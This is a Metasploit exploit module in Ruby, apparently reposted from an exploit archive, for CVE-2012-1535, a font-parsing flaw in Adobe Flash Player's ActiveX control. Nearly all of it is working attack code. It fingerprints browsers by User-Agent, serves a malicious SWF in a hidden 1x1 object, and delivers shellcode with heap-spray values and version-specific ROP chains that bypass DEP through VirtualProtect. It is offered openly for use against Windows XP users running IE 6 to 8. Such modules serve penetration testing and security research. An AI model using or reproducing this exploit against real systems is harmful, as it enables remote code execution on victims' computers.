Adobe Flash Player 11.3 Font Parsing Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Adobe Flash Player 11.3 Font Parsing Code Execution",  
'Description' => %q{  
This module exploits a vulnerability found in the ActiveX component of Adobe  
Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF,  
it is possible to gain arbitrary remote code execution under the context of the  
user, as exploited in the wild.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Alexander Gavrun', #Through iDefense  
'sinn3r',  
'juan vazquez'  
],  
'References' =>  
[  
[ 'CVE', '2012-1535' ],  
[ 'OSVDB', '84607'],  
[ 'BID', '55009'],  
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],  
[ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],  
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ]  
],  
'Payload' =>  
{  
'Space' => 1024  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Tested successfully on:  
# Flash 11.3.300.268  
# Flash 11.3.300.265  
# Flash 11.3.300.257  
[ 'Automatic', {} ],  
[  
'IE 6 on Windows XP SP3',  
{  
'Rop' => nil  
}  
],  
[  
'IE 7 on Windows XP SP3',  
{  
'Rop' => nil  
}  
],  
[  
'IE 8 on Windows XP SP3',  
{  
'Rop' => true  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => "Aug 9 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),  
], self.class)  
end  
  
def nop  
return make_nops(4).unpack("L")[0].to_i  
end  
  
def get_payload(t, flash_version=nil)  
if t['Rop'].nil?  
p = [  
0x0c0c0c0c, # mapped at 1e0d0000  
0x0c0c0c0c,  
0x0c0c0c0c, # mapped at 1e0d0008  
].pack("V*")  
  
p << payload.encoded  
else  
if datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/  
  
print_status("Using Rop Chain For Flash: #{flash_version}")  
stack_pivot = [  
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)  
0x0c0c0c0c,  
0x1001d891, # xchg eax, esp # ret (1e0d0008)  
].pack("V*")  
  
rop = [  
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)  
0x106e3384, # <- *&VirtualProtect()  
0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)  
0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)  
0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)  
0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)  
0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)  
0x00000201, # <- change size to mark as executable if needed (-> ebx)  
0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)  
0x10955000, # W pointer (lpOldProtect) (-> ecx)  
0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)  
0x10649004, # ROP NOP (-> edi)  
0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)  
0x00000040, # newProtect (0x40) (-> edx)  
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)  
nop, # NOPS (-> eax)  
0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)  
].pack("V*")  
  
elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/  
  
print_status("Using Rop Chain For Flash: #{flash_version}")  
stack_pivot = [  
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)  
0x0c0c0c0c,  
0x1001d6d3, # xchg eax, esp # ret (1e0d0008)  
].pack("V*")  
  
rop = [  
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)  
0x106e338c, # <- *&VirtualProtect()  
0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)  
0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)  
0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)  
0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)  
0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)  
0x00000201, # <- change size to mark as executable if needed (-> ebx)  
0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)  
0x10955000, # W pointer (lpOldProtect) (-> ecx)  
0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)  
0x105c1812, # ROP NOP (-> edi)  
0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)  
0x00000040, # newProtect (0x40) (-> edx)  
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)  
nop, # NOPS (-> eax)  
0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)  
].pack("V*")  
  
elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/  
  
print_status("Using Rop Chain For Flash: #{flash_version}")  
stack_pivot = [  
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)  
0x0c0c0c0c,  
0x1001d755, # xchg eax, esp # ret (1e0d0008)  
].pack("V*")  
rop = [  
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)  
0x106e438c, # <- *&VirtualProtect()  
0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)  
0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)  
0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)  
0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)  
0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx)  
0x00000201, # <- change size to mark as executable if needed (-> ebx)  
0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx)  
0x1083c000, # RW pointer (lpOldProtect) (-> ecx)  
0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx)  
0x10308b0f, # ROP NOP (-> edi)  
0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx)  
0x00000040, # newProtect (0x40) (-> edx)  
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)  
nop, # NOPS (-> eax)  
0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx)  
].pack("V*")  
  
else  
  
print_status("Default back to JRE ROP")  
stack_pivot = [  
0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)  
0x0c0c0c0c,  
0x7c348b05, # xchg eax, esp # ret (1e0d0008)  
].pack("V*")  
  
rop = [  
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN  
0x00001000, # (dwSize)  
0x7c347f98, # RETN (ROP NOP)  
0x7c3415a2, # JMP [EAX]  
0xffffffff,  
0x7c376402, # skip 4 bytes  
0x7c345255, # INC EBX # FPATAN # RETN  
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN  
0x7c344f87, # POP EDX # RETN  
0x00000040, # flNewProtect  
0x7c34d201, # POP ECX # RETN  
0x7c38b001, # &Writable location  
0x7c347f97, # POP EAX # RETN  
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]  
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN  
0x7c345c30, # ptr to 'push esp # ret '  
].pack("V*")  
  
end  
p = stack_pivot  
p << rop  
p << payload.encoded  
end  
return p  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/  
return targets[1] #IE 6 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/  
return targets[2] #IE 7 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/  
return targets[3] #IE 8 on Windows XP SP3  
else  
return nil  
end  
end  
  
def on_request_uri(cli, request)  
  
agent = request.headers['User-Agent']  
print_status("User-agent: #{agent}")  
my_target = get_target(agent)  
  
print_status("Client requesting: #{request.uri}")  
  
# Avoid the attack if the victim doesn't have the same setup we're targeting  
if my_target.nil?  
print_error("Browser not supported: #{agent}")  
send_not_found(cli)  
return  
end  
  
# The SWF request itself  
if request.uri =~ /\.swf$/  
print_status("Sending SWF")  
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})  
return  
end  
  
# The TXT payload request  
if request.uri =~ /\.txt$/  
flash_version = request.headers['x-flash-version']  
shellcode = get_payload(my_target, flash_version).unpack('H*')[0]  
print_status("Sending Payload")  
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })  
return  
end  
  
swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"  
  
html = %Q|  
<html>  
<head>  
</head>  
<body>  
<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">  
<param name="movie" value="#{swf_uri}">  
</object>  
</body>  
</html>  
|  
  
html = html.gsub(/^\t\t/, '')  
  
# we need to handle direct /pay.txt requests  
proc = Proc.new do |cli, req|  
on_request_uri(cli, req)  
end  
add_resource({'Path' => "/pay.txt", 'Proc' => proc}) rescue nil  
  
print_status("Sending HTML")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
def exploit  
@swf = create_swf  
print_status("SWF Loaded: #{@swf.length.to_s} bytes")  
super  
end  
  
def create_swf  
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "trigger.swf" )  
fd = ::File.open( path, "rb" )  
swf = fd.read(fd.stat.size)  
fd.close  
return swf  
end  
  
def cleanup  
vprint_status("Removing txt resource")  
remove_resource('/pay.txt') rescue nil  
super  
end  
  
end  
`